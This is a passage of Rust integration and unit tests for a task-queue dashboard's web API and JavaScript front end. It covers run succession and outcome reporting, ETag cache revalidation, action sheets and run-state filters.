19784 assert_eq!(v["urgent"], true, "{v}");
19785 assert!(APP_JS.contains("task.urgent === true"));
19786 }
19787
19788 #[tokio::test]
19789 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
19790 let fx = Fixture::start().await;
19791 let runs = fx.runs();
19792 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19793 write_run(&runs, old, RunStatus::Blocked);
19794 write_run(&runs, new, RunStatus::Merged);
19795 let mut t = outcome_task(&[old, new], TaskStatus::Done);
19796 fx.queue().put(&mut t).expect("put");
19797
19798 let view = fx.get(&format!("/api/runs/{old}")).await.json();
19799 let task = &view["task"];
19800 assert_eq!(task["status"], "done");
19801 assert_eq!(task["is_latest"], false);
19802 assert_eq!(task["latest"]["short"], "bbbb");
19803 assert_eq!(task["finished_by"]["id"], new);
19804 assert_eq!(task["finished_by"]["outcome"], "merged");
19805 assert_eq!(task["closed_by_hand"], false);
19806 assert_eq!(view["status"], "blocked", "the run keeps its own status");
19807 assert!(APP_JS.contains("finished_by"));
19808 assert!(APP_JS.contains("superseded by run"));
19809 }
19810
19811 #[tokio::test]
19812 async fn the_latest_run_reports_a_held_task_without_a_successor() {
19813 let fx = Fixture::start().await;
19814 let runs = fx.runs();
19815 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19816 write_run(&runs, old, RunStatus::Stalled);
19817 write_run(&runs, new, RunStatus::Blocked);
19818 let mut t = outcome_task(&[old, new], TaskStatus::Held);
19819 fx.queue().put(&mut t).expect("put");
19820
19821 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
19822 assert_eq!(task["status"], "held");
19823 assert_eq!(task["is_latest"], true);
19824 assert!(task["latest"].is_null());
19825 assert!(task["finished_by"].is_null());
19826 assert_eq!(task["closed_by_hand"], false);
19827 }
19828
19829 #[tokio::test]
19830 async fn a_direct_run_has_no_task_outcome() {
19831 let fx = Fixture::start().await;
19832 let runs = fx.runs();
19833 let id = "20260901-000000-aaaa";
19834 write_run(&runs, id, RunStatus::Blocked);
19835 let view = fx.get(&format!("/api/runs/{id}")).await.json();
19836 assert!(view["task"].is_null());
19837 }
19838
19839 #[test]
19840 fn task_outcome_does_not_guess_a_finishing_run() {
19841 let a = "20260901-000000-aaaa";
19842 let b = "20260901-000000-bbbb";
19843 let c = "20260901-000000-cccc";
19844 let dir = tempfile::tempdir().expect("tempdir");
19845 write_run(dir.path(), a, RunStatus::Blocked);
19846 write_run(dir.path(), b, RunStatus::VerifiedNoop);
19847 let read = |id: &str| read_run(dir.path(), id).ok();
19849 let t = outcome_task(&[a, b, c], TaskStatus::Done);
19852 let out = task_outcome(&t, a, 3, read);
19853 assert!(out.finished_by.is_none());
19854 assert!(out.closed_by_hand);
19855 let latest = out.latest.expect("latest");
19856 assert_eq!(latest.id, c);
19857 assert_eq!(latest.status, None);
19858 assert_eq!(latest.outcome, "record unreadable");
19859
19860 write_run(dir.path(), c, RunStatus::Ready);
19862 let t = outcome_task(&[a, c], TaskStatus::Done);
19863 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
19864 assert_eq!(out.finished_by.expect("finisher").id, c);
19865 assert!(!out.closed_by_hand);
19866
19867 let t = outcome_task(&[a, b, a], TaskStatus::Held);
19869 assert!(task_outcome(&t, a, 3, read).is_latest);
19870 }
19871
19872 #[tokio::test]
19873 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
19874 let fx = Fixture::start().await;
19879 let q = fx.queue();
19880 let runs = fx.runs();
19881 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
19882 write_run(&runs, first, RunStatus::Blocked);
19883 write_run(&runs, second, RunStatus::Merged);
19884
19885 let mut t = Task::new(
19886 "one task".to_owned(),
19887 "do it".to_owned(),
19888 PathBuf::from("/repo"),
19889 Source::Human,
19890 );
19891 t.runs = vec![first.to_owned(), second.to_owned()];
19892 q.put(&mut t).expect("put");
19893
19894 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
19895 assert_eq!(earlier["superseded_by"], "dddd");
19896 assert_eq!(earlier["latest_attempt"]["id"], second);
19897 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
19898 assert_eq!(
19899 earlier["latest_attempt"]["resolved"], true,
19900 "the run that replaced it landed, so this one reads as settled"
19901 );
19902
19903 let later = fx.get(&format!("/api/runs/{second}")).await.json();
19904 assert!(
19905 later["superseded_by"].is_null(),
19906 "the latest attempt is not superseded by anything"
19907 );
19908 assert!(
19909 later["latest_attempt"].is_null(),
19910 "the latest attempt has no later attempt of its own"
19911 );
19912
19913 assert!(APP_JS.contains("run.latest_attempt"));
19920 assert!(APP_JS.contains("data-superseded"));
19921 assert!(APP_JS.contains("#/runs/${latest.id}"));
19922 }
19923
19924 #[tokio::test]
19925 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
19926 let fx = Fixture::start().await;
19932 let q = fx.queue();
19933 let runs = fx.runs();
19934 let (a, b, c) = (
19935 "20260901-000000-aaaa",
19936 "20260901-000000-bbbb",
19937 "20260901-000000-cccc",
19938 );
19939 write_run(&runs, a, RunStatus::Blocked);
19940 write_run(&runs, b, RunStatus::Blocked);
19941 write_run(&runs, c, RunStatus::Merged);
19942
19943 let mut t = Task::new(
19944 "retried twice".to_owned(),
19945 "do it".to_owned(),
19946 PathBuf::from("/repo"),
19947 Source::Human,
19948 );
19949 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
19950 q.put(&mut t).expect("put");
19951
19952 let view = fx.get(&format!("/api/runs/{a}")).await.json();
19953 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
19954 assert_eq!(
19955 view["latest_attempt"]["id"], c,
19956 "the chain's current head, not the intermediate Blocked retry"
19957 );
19958 assert_eq!(view["latest_attempt"]["resolved"], true);
19959
19960 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
19961 assert_eq!(mid["latest_attempt"]["id"], c);
19962 assert_eq!(mid["latest_attempt"]["resolved"], true);
19963 }
19964
19965 #[tokio::test]
19966 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
19967 let fx = Fixture::start().await;
19968 let q = fx.queue();
19969 let runs = fx.runs();
19970
19971 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
19974 write_run(&runs, still_blocked_a, RunStatus::Blocked);
19975 write_run(&runs, still_blocked_b, RunStatus::Blocked);
19976 let mut t1 = Task::new(
19977 "still stuck".to_owned(),
19978 "do it".to_owned(),
19979 PathBuf::from("/repo"),
19980 Source::Human,
19981 );
19982 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
19983 q.put(&mut t1).expect("put");
19984 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
19985 assert_eq!(view1["latest_attempt"]["resolved"], false);
19986 assert_eq!(view1["latest_attempt"]["status"], "blocked");
19987 assert_eq!(view1["latest_attempt"]["done"], true);
19988
19989 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
19991 write_run(&runs, run_a, RunStatus::Blocked);
19992 write_run(&runs, run_b, RunStatus::Implementing);
19993 let mut t3 = Task::new(
19994 "retrying".to_owned(),
19995 "do it".to_owned(),
19996 PathBuf::from("/repo"),
19997 Source::Human,
19998 );
19999 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
20000 q.put(&mut t3).expect("put");
20001 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
20002 assert_eq!(view3["latest_attempt"]["id"], run_b);
20003 assert_eq!(view3["latest_attempt"]["resolved"], false);
20004 assert_eq!(view3["latest_attempt"]["done"], false);
20005
20006 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
20011 write_run(&runs, noop_a, RunStatus::Blocked);
20012 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
20013 let mut t2 = Task::new(
20014 "claims done".to_owned(),
20015 "do it".to_owned(),
20016 PathBuf::from("/repo"),
20017 Source::Human,
20018 );
20019 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
20020 q.put(&mut t2).expect("put");
20021 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
20022 assert_eq!(
20023 view2["latest_attempt"]["resolved"], false,
20024 "an unverified no-op claim must not read as a confirmed finish"
20025 );
20026
20027 assert!(APP_JS.contains("latest.resolved"));
20030 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
20033 assert!(APP_JS.contains("Latest attempt: "));
20034 assert!(APP_JS.contains("in flight"));
20035 assert!(APP_JS.contains("not resolved"));
20036 }
20037
20038 #[tokio::test]
20039 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
20040 let fx = Fixture::start().await;
20041 let js = fx.get("/app.js").await;
20047 assert_eq!(js.status, 200);
20048 let tag = js
20049 .header("etag")
20050 .expect("an etag to revalidate against")
20051 .to_owned();
20052 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
20053 assert_eq!(
20054 js.header("cache-control"),
20055 Some("no-cache, must-revalidate"),
20056 "the phone has to ask every time"
20057 );
20058
20059 let again = fx
20062 .get_with("/app.js", &[("if-none-match", tag.as_str())])
20063 .await;
20064 assert_eq!(
20065 again.status, 304,
20066 "a deck it already has costs one round trip"
20067 );
20068 assert!(again.body.is_empty(), "304 carries no body");
20069
20070 let weak = fx
20073 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
20074 .await;
20075 assert_eq!(weak.status, 304);
20076 let stale = fx
20077 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
20078 .await;
20079 assert_eq!(stale.status, 200, "an older build must be replaced");
20080 assert!(stale.body.contains("renderRunActions"));
20081 }
20082
20083 #[test]
20084 fn the_task_detail_has_an_actions_fab_and_sheet() {
20085 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
20086 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
20087 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
20088 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
20090 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
20091 assert!(APP_JS.contains("renderTaskActions(task);"));
20093 assert!(APP_JS.contains("renderTaskActions(null);"));
20094 let sheet = APP_JS
20096 .find("function renderTaskActions")
20097 .expect("sheet renderer");
20098 let body = &APP_JS[sheet..sheet + 3000];
20099 assert!(body.contains("changePriority("));
20100 assert!(body.contains("openTaskEdit(task)"));
20101 assert!(body.contains("renderTaskHoldBox(host"));
20102 assert!(body.contains("renderTaskDoneBox(host"));
20103 assert!(body.contains("renderTaskDeleteBox(host"));
20104 assert!(APP_JS.contains("API.priority(id)"));
20105 assert!(APP_JS.contains("API.deleteTask(id)"));
20106 assert!(APP_JS.contains("location.hash = \"#/queue\""));
20108 assert!(APP_JS.contains("$(\"task-actions-error\")"));
20110 }
20111
20112 #[test]
20113 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
20114 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
20115 let actions = INDEX_HTML
20116 .find("id=\"run-actions-box\"")
20117 .expect("actions box");
20118 assert!(task < actions, "the task entry comes first in the sheet");
20119 assert!(APP_JS.contains("renderRunTaskEntry"));
20120 assert!(APP_JS.contains("\"Open task \""));
20121 assert!(APP_JS.contains("started directly, no task"));
20123 assert!(APP_JS.contains("sheet-task-link"));
20124 assert!(APP_JS.contains("task-chip-link"));
20125 }
20126
20127 #[test]
20128 fn the_deck_never_sends_the_operator_to_a_terminal() {
20129 assert!(
20132 !APP_JS.contains("Run `magi fold` first"),
20133 "the deck must offer the fold, not prescribe a shell command"
20134 );
20135 assert!(APP_JS.contains("foldRun:"));
20136 assert!(APP_JS.contains("resumeRun:"));
20137 assert!(APP_JS.contains("renderRunActions"));
20138
20139 assert!(APP_JS.contains("armedFold"));
20141 assert!(APP_JS.contains("Yes, fold worktrees"));
20142
20143 assert!(APP_JS.contains("can no longer be resumed"));
20146 }
20147
20148 #[test]
20149 fn a_finished_run_explains_itself_with_its_own_last_line() {
20150 assert!(
20156 !APP_JS.contains("collapsed on agent quota"),
20157 "a stall must not be explained by a cause the deck did not check"
20158 );
20159 assert!(
20160 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
20161 "and a block must not offer a guess with an `or` in it"
20162 );
20163
20164 assert!(
20168 APP_JS.contains("setText(r.event, run.event || \"\")"),
20169 "the run's last line is rendered unconditionally"
20170 );
20171 assert!(
20172 !APP_JS.contains("moving && run.event"),
20173 "and never gated on the run still moving"
20174 );
20175
20176 assert!(APP_JS.contains("lost to quota"));
20178 }
20179
20180 #[test]
20202 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
20203 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
20204 let shapes_body_start =
20205 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
20206 let shapes_close = APP_JS[shapes_body_start..]
20207 .find("].map(")
20208 .expect("the shape list is closed by its done-computing .map(...)")
20209 + shapes_body_start;
20210 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
20211
20212 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
20213 for entry in shapes_src.split('{').skip(1) {
20214 let waiting = entry.contains("waiting: true");
20215 let dead = entry.contains("live: \"dead\"");
20216 let status_at =
20217 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
20218 let status_end = entry[status_at..]
20219 .find('"')
20220 .expect("the status string is closed")
20221 + status_at;
20222 let parked = entry.contains("display_status: \"parked\"");
20223 shapes.push((
20224 waiting,
20225 entry[status_at..status_end].to_string(),
20226 dead,
20227 parked,
20228 ));
20229 }
20230 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
20231
20232 let done_rule_marker = "done: !";
20236 let done_rule_at = APP_JS[shapes_close..]
20237 .find(done_rule_marker)
20238 .expect("the done rule follows the shape list")
20239 + shapes_close
20240 + done_rule_marker.len();
20241 let includes_at = APP_JS[done_rule_at..]
20242 .find(".includes(shape.status)")
20243 .expect("the done rule ends in .includes(shape.status)")
20244 + done_rule_at;
20245 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
20246 .trim()
20247 .trim_start_matches('[')
20248 .trim_end_matches(']')
20249 .split(',')
20250 .map(|s| s.trim().trim_matches('"'))
20251 .filter(|s| !s.is_empty())
20252 .collect();
20253
20254 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
20255 .into_iter()
20256 .map(|(waiting, status, dead, parked)| {
20257 let done = !not_done.contains(&status.as_str());
20258 (waiting, status, dead, parked, done)
20259 })
20260 .collect();
20261
20262 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
20266 if waiting {
20267 return "waiting";
20268 }
20269 if dead
20270 && !parked
20271 && !matches!(
20272 status,
20273 "merged"
20274 | "ready"
20275 | "stalled"
20276 | "blocked"
20277 | "failed"
20278 | "verified_noop"
20279 | "superseded"
20280 | "already_in_base"
20281 )
20282 {
20283 return "stale";
20284 }
20285 match status {
20286 "merged" | "ready" => "landed",
20287 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
20288 | "already_in_base" => "ended",
20289 _ => "flight",
20290 }
20291 }
20292
20293 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
20296 match filter_key {
20297 "active" => !done,
20298 "flight" => !done && !waiting && !dead,
20299 "stale" => !done && !waiting && dead,
20300 "waiting" => waiting,
20301 "done" => done,
20302 "all" => true,
20303 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
20304 }
20305 }
20306
20307 let compatible = |section: &str, filter_key: &str| {
20308 shapes.iter().any(|(waiting, status, dead, parked, done)| {
20309 run_section(*waiting, status, *dead, *parked) == section
20310 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
20311 })
20312 };
20313
20314 let expected = [
20319 ("waiting", [true, false, false, true, true, true]),
20320 ("stale", [true, false, true, false, false, true]),
20321 ("flight", [true, true, false, false, false, true]),
20322 ("landed", [false, false, false, false, true, true]),
20323 ("ended", [false, false, false, false, true, true]),
20324 ];
20325 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
20326
20327 for (section, wants) in expected {
20328 for (filter_key, want) in filter_keys.iter().zip(wants) {
20329 assert_eq!(
20330 compatible(section, filter_key),
20331 want,
20332 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
20333 );
20334 }
20335 }
20336
20337 assert!(
20340 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
20341 );
20342 assert!(APP_JS.contains(
20343 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
20344 ));
20345 assert!(APP_JS.contains(
20346 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
20347 ));
20348 }
20349
20350 #[tokio::test]
20351 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
20352 let dir = tempfile::tempdir().expect("tempdir");
20356 let explicit = dir.path().join("not-a-checkout");
20357 std::fs::create_dir_all(&explicit).expect("create dir");
20358 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
20359
20360 let missing = dir.path().join("does-not-exist-at-all");
20361 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
20362 }
20363
20364 #[test]
20365 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
20366 assert!(APP_JS.contains("function statsDonutArcs"));
20367 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
20368 assert!(APP_JS.contains("function statusInBucket"));
20370 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
20371 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
20372 let buckets = [
20373 "merged",
20374 "ready",
20375 "in_progress",
20376 "blocked",
20377 "failed",
20378 "verified_noop",
20379 "superseded",
20380 "stalled",
20381 ];
20382 for key in buckets {
20383 let var = format!("--verdict-{key}:");
20384 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
20386 assert!(
20387 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
20388 "{key}"
20389 );
20390 }
20391 }
20392}